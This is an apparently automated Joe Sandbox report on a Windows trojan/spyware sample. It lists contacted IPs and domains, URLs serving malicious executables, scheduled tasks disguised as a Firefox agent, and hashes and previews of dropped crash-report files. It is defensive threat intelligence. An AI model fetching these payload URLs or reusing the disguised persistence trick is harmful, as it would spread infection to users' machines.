185.237.206.60	monsutiur4.com	Ukraine	21100	ITLDC-NLUA	true
187.195.146.2	linislominyt11.at	Mexico	8151	UninetSAdeCVMX	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
195.158.3.162	unknown	Uzbekistan	8193	BRM-ASUZ	false
188.114.97.3	b.game2723.com	European Union	13335	CLOUDFLARENETUS	true
172.67.137.109	i.xyzgamei.com	United States	13335	CLOUDFLARENETUS	true
206.221.182.74	amrhomedecor.com	United States	23470	RELIABLESITEUS	true
45.136.151.102	www.hhiuew33.com	Latvia	18978	ENZUINC-US	true
151.251.24.5	unknown	Bulgaria	13124	IBGCBG	false
194.87.94.240	ilabonjsnmwiy.top	Russian Federation	48347	MTW-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	693830
Start date and time:	2022-08-31 08:31:42 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/25@37/15
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 39% (good quality ratio 34.8%) Quality average: 69.8% Quality standard deviation: 34.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, consent.exe, WerFault.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 20.42.65.92, 52.182.143.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:33:36	Task Scheduler	Run new task: Firefox Default Browser Agent 9448453BE3F88A9E path: C:\Users\user\AppData\Roaming\bwgdrja
08:34:17	API Interceptor	3x Sleep call for process: WerFault.exe modified
08:34:37	API Interceptor	3x Sleep call for process: 4962.exe modified
08:34:43	Task Scheduler	Run new task: Firefox Default Browser Agent FACEF54DBC8A6944 path: C:\Users\user\AppData\Roaming\cegdrja

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
85.209.157.230	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	wu2Z96cOb9.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	GFXTXvWhyQ.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	p23HEjyysu.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	NJUODEI1fC.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	M61ridRaIr.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	Ikd3EuXME8.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	VtDTPnS1nU.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
v.xyzgamev.com	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	R2axoid4If.exe	Get hash	malicious	Browse	172.67.188.70
	x9rKinpIYb.exe	Get hash	malicious	Browse	172.67.188.70
	fcBCfIrYKl.exe	Get hash	malicious	Browse	172.67.188.70
	n7BcSmkxd4.exe	Get hash	malicious	Browse	172.67.188.70
	OkbEuAbPVe.exe	Get hash	malicious	Browse	172.67.188.70
	1DHOc1acXH.exe	Get hash	malicious	Browse	172.67.188.70
	EDa3BsiRFM.exe	Get hash	malicious	Browse	172.67.188.70
	Y3sZUTYrPw.exe	Get hash	malicious	Browse	172.67.188.70
	lUKKUgVut8.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ENZUINC-US	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	CBBsLdgEAZ.elf	Get hash	malicious	Browse	23.245.1.238
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	SecuriteInfo.com.Suspicious.Win32.Save.a.22935.12419.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	85.209.157.230
	https://tamilblasters.casa/	Get hash	malicious	Browse	23.88.0.234
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	QUOTATION REQUIRED.docx.doc	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	KN2ZPgeewA.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	de01306472173a9ce5cf08dd608c83b5ec71e028b120f.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	file.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	R2axoid4If.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	x9rKinpIYb.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	SecuriteInfo.com.BScope.Trojan.Wacatac.24873.13450.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	http://bit.ly/e0Mw9w	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	test01.xlsx	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	YLLrEA0cHp.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	D5Er68mUeG.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	DDkpxce8IO.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	Order.docx.doc	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196
	WmgwJ27J1D.exe	Get hash	malicious	Browse	206.221.182.74 188.114.97.3 172.67.137.109 104.21.40.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\151.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\151.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\39AF.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	KHJGTNuePB.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_151.exe_91171af181ed96f88aeafe12a567f8b4884e53_93e7ccf6_10e0f79b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6899529988530415
Encrypted:	false
SSDEEP:	96:V8F60kEIN8oI7Rj6tpXIQcQvc6QcEDMcw3DL+HbHg/8BRTf3OyWZAXGng5FMTPS1:ink/HBUZMXojuq/u7sVS274ItdXG
MD5:	E0E73CB3383B569862BDD7AFD0745ABA
SHA1:	BD2ACDD2413A67F5772BC1032BB92F7346FFC215
SHA-256:	56CA1C272022E948B6EC20CC2BCC14A8D2A40EE3006CE628571F0ED1E4725F51
SHA-512:	2BF4EDEBFA0B83E71C38D1699402A1FB73F35141D8FAD397401DCF871C364092E60F4EB66CF7609DBACFF1A93459DDF1CC591522098161775E2D5765091A6FD5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.6.4.3.3.6.6.4.3.1.4.7.5.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.6.4.3.3.6.6.8.5.6.4.7.6.0.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.0.a.6.1.a.6.2.-.f.7.f.2.-.4.7.d.2.-.8.1.d.c.-.1.9.c.1.1.e.e.a.2.3.7.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.8.5.c.9.b.d.-.c.6.9.8.-.4.f.0.9.-.9.0.c.d.-.8.7.2.f.4.b.2.6.5.9.2.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.5.1...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.N.D.A.d.m.i.n...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.0.c.-.0.0.0.1.-.0.0.1.f.-.f.f.d.d.-.2.a.1.b.4.f.b.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.6.1.a.2.3.7.3.5.d.2.9.c.8.0.5.7.a.7.6.a.9.4.3.f.a.3.0.0.c.a.4.0.0.0.0.0.9.0.4.!.0.0.0.0.0.a.d.c.5.5.b.3.c.4.4.7.1.5.0.3.e.f.7.2.2.8.3.5.b.9.9.e.8.9.3.7.6.f.3.3.2.2.2.3.!.1.5.1...e.x.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_A784.exe_95c4ad99956d3481b17b8122f3ae951a47064a3_0a227f68_0a7113ce\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8151243586744417
Encrypted:	false
SSDEEP:	96:e7FHkxFqCnhrSoT7JfhppXIQcQEc6IcEmcw31+HbHg/PtuuzOo8Fa9iVfOyWMxNO:Y+xweH3HaMs2jIg/u7sVS274ItGf
MD5:	3A340A5078B2EF406D4709A815B46023
SHA1:	C7369E8C854D2C5346DB2149DF3602B697E9895C
SHA-256:	5707167118D85462DC832C341776C059F9836EDFBA3DC12FAAE747DC27B3148A
SHA-512:	0002F6EEF72CAE722F3BD454FEBED4D4F4FDF5281988B86D0523F139028BFF94262D5F7993377B0A5470E73562D8547FAC3E83BA5ADD8969C403B29D898C2ECE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.6.4.3.3.6.6.9.4.2.3.2.1.2.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.6.4.3.3.6.7.5.3.7.6.3.0.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.7.e.5.3.8.9.a.-.2.d.f.4.-.4.3.0.5.-.b.d.3.3.-.5.c.b.e.e.2.a.4.7.8.c.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.3.7.d.a.6.3.-.0.c.2.9.-.4.d.f.3.-.a.3.1.8.-.0.9.f.4.b.2.5.f.a.5.4.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.7.8.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.3.4.-.0.0.0.1.-.0.0.1.f.-.5.b.2.e.-.f.1.2.2.4.f.b.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.f.8.4.8.d.8.a.7.3.d.8.7.3.4.4.c.f.2.c.4.4.3.2.0.4.2.0.c.6.b.e.0.0.0.0.f.f.f.f.!.0.0.0.0.7.b.7.1.5.a.e.a.b.b.9.7.6.3.d.1.4.d.2.7.2.5.6.1.a.d.3.0.d.5.7.5.c.9.1.5.e.6.3.c.!.A.7.8.4...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_D3F7.exe_d8f2fd7ff73459f3f5dcfe6b16eeaa867de1d2f_cd1489f6_16513d5f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6913761257317633
Encrypted:	false
SSDEEP:	96:uqFxJIjDf/jNkooI7Rj6tpXIQcQvc6QcEDMcw3DL+HbHg/8BRTf3OyWZAXGng5FK:9dufyVHBUZMXojuq/u7sVS274ItG
MD5:	D7FB5EB55ED6BD5B457F7D173C15E319
SHA1:	AD22F065C59D3F9479E1676121FE7B5E4A687AEF
SHA-256:	243FFF5E839E81F26D6D4E7B7AAD54810D08E16994C5E5A777B98B4C35B5AE05
SHA-512:	9D749989F48AA43718321394426D87059DBABCAC1D367F9701A9FA3A3191FF9CF0C474C765BCA64BB96884DB7614A6FE2D1F13A09257C9D1C15BF1BC994B2E4A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.6.4.3.3.6.5.2.1.7.4.9.6.6.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.6.4.3.3.6.5.5.7.6.8.6.9.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.c.9.c.6.4.9.3.-.0.1.b.2.-.4.f.e.b.-.9.b.5.f.-.2.7.9.0.d.4.4.9.0.6.9.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.4.e.d.b.2.b.5.-.7.7.d.8.-.4.9.5.1.-.9.9.6.8.-.8.d.1.e.d.a.0.1.2.7.d.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.D.3.F.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.N.D.A.d.m.i.n...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.7.8.-.0.0.0.1.-.0.0.1.f.-.3.8.7.5.-.4.7.1.4.4.f.b.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.6.1.a.2.3.7.3.5.d.2.9.c.8.0.5.7.a.7.6.a.9.4.3.f.a.3.0.0.c.a.4.0.0.0.0.0.9.0.4.!.0.0.0.0.f.c.0.5.d.f.9.b.3.7.2.7.7.9.7.d.f.0.7.0.f.3.0.6.3.0.7.2.9.1.6.a.e.6.7.a.6.1.c.3.!.D.3.F.7...e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER335.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.703964878297681
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNipU6h76YqrSUzcugmfysS5CpDp89bAtpisf4Am:RrlsNiK696Y2SUzlgmfysSPAtphfG
MD5:	CC6E93BC9C50815657DBC5D253630999
SHA1:	E647CBEC837121208E9369F550E1D338E4F76808
SHA-256:	4BF8E3D9D082BF10D2CE81ABD0B5121A7E89543034D9FF197F59EC94C16E7924
SHA-512:	AE85AC65C7F8A02306AFA3A5D70EA1F9D6129BA2DB0D305E6A028D09715C3584E01967646CEC0C04A0E2DE3E89661F746210C0FE74317C44CA6BD2BBE6AE1E28
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.9.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER624.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.489847862399128
Encrypted:	false
SSDEEP:	48:cvIwSD8zs0JgtWI9xkRSWgc8sqYj5L8fm8M4JiryLtFI4+q8nIg+0o0f0Ud:uITfyckhgrsqY+Jirys4SI8o0f0Ud
MD5:	C9D3EB7EA3EF894D3D9C040CF682C6B2
SHA1:	646D8AD2A7BF57C8572B28E288988AE80408E1CD
SHA-256:	61BDDBCF549B013F1BC8A0507D72BAA8C872926448E7DDF5FAAD5ACC9D1F2581
SHA-512:	B7C50ABC48FC7FA696220BD566A8B16B521C188C656492C3C31FE76CFC043B08E69846DC29367CBC7F7773BA640FA5CD14985AE84CEE1537FC71D505E9BFD6D7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1671885" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB320.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Aug 31 15:34:12 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	35012
Entropy (8bit):	1.7422638369484034
Encrypted:	false
SSDEEP:	96:5f8y88/s7kR0dci7orW3H+JSlxcPS1PFRJPxM0o3nQqWInWIX4Iu7omzkhjG2Ifu:qWs7kHOxuJSlxpbU+7omzkhjLIf
MD5:	F7B3B9BBE86E240D5ED52A684A5A4A05
SHA1:	63E0D1467295998E861BB1186E8D9B5297B5C41B
SHA-256:	9104638FB669A59675531A6183A5AD206C21D5668E84F2C0790448CD87D293D2
SHA-512:	5B915EA673E3CA4AFD39DBFD3F4F8DF13C710D4460F6B56192D664E108C35C8CA734C08D5E06F5E58568AAB8A9F16407689F986B55637794C1D8910C140C4F59
Malicious:	false
Preview:	MDMP....... .......t..c....................................................T.......8...........T...........`...d~...........................................................................................U...........B......4.......GenuineIntelW...........T.......x...b..c............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB738.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8396
Entropy (8bit):	3.6999761680657373
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiqO6YKLT6YqKSUoP2GgmfUSuCprI89bLesf55m:RrlsNiL6YKLT6YHSUovgmfUSjLdfm
MD5:	6C0FDA7ED2D0001A736C596419C5C0FB
SHA1:	52518ED79648B37087866FA5AFB304587DBA67F9
SHA-256:	EA86F9BF0D86DB5CED9BB80D1CA01D03384DD52277E70C3D48CD5E272DE0F4E7
SHA-512:	40AE2EAF22C2C98727A67D5B24EA822A394F90D132E2332010320CBA4A30E19EAB6802EAC6545547AF2E28C24FEC397F6AF5E12977250EAE79E80C656D185EFC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.4.7.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8FE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.475888595273609
Encrypted:	false
SSDEEP:	48:cvIwSD8zsXrJgtWI9xkRSWgc8sqYj5X8fm8M4JYGMFf2+q8vdGG0eGL8Pd:uITfXFckhgrsqYCJT62K8feGL8Pd
MD5:	72847525A5A6F1F764E03A646DBFA67B
SHA1:	7D5A946C56F4F9997649E2B70D90055038032F8E
SHA-256:	70CDDB69559E6B289297DAF7B6D4822C60CAA862F6933EAF6F349E0FF10DCC2A
